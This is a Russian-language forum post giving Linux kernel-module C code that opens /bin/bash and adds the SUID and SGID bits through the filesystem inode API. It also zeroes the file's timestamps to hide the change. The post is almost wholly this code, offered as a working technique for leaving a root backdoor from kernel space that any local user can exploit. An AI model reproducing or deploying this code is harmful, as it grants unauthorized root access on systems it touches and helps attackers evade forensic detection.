Показать сообщение отдельно
Старый 28.07.2012, 14:26   #8
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

Цитата:
Сообщение от Specialist Посмотреть сообщение
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейсайса
Можно без системного вызова из ядра поменять через апи файловой системы. Пример для изменения времени доступа/изменения/модификации и суид флага:
Код:
struct inode *inode;
	struct file *f;
	struct iattr newattrs;

	f = filp_open("/bin/bash", O_RDWR, 0);

	if(!f)
		return -1;

	inode = f->f_dentry->d_inode;

	newattrs.ia_atime.tv_sec = 0;
	newattrs.ia_mtime.tv_sec = 0;
	newattrs.ia_ctime.tv_sec = 0;

	newattrs.ia_mode = (inode->i_mode | S_ISUID | S_ISGID); /*эквивалент chmod +s*/

	newattrs.ia_valid = ATTR_ATIME | ATTR_CTIME | ATTR_MTIME | ATTR_MODE;

	if(inode->i_op) {
		DPRINT("inode->i_op->setattr: %p\n", inode->i_op->setattr);
	} else {
		DPRINT("inode->i_op: 0\n");
		filp_close(f,0);
		return -1;
	}

	error = security_inode_setattr(f->f_dentry, &newattrs); /*for selinux*/
	error = inode->i_op->setattr(f->f_dentry,  &newattrs);

	if(error) {
		filp_close(f,0);
		return -1;
	}

	fsnotify_change(f->f_dentry, newattrs.ia_valid);

	filp_close(f,0);
tom sawyer вне форума   Ответить с цитированием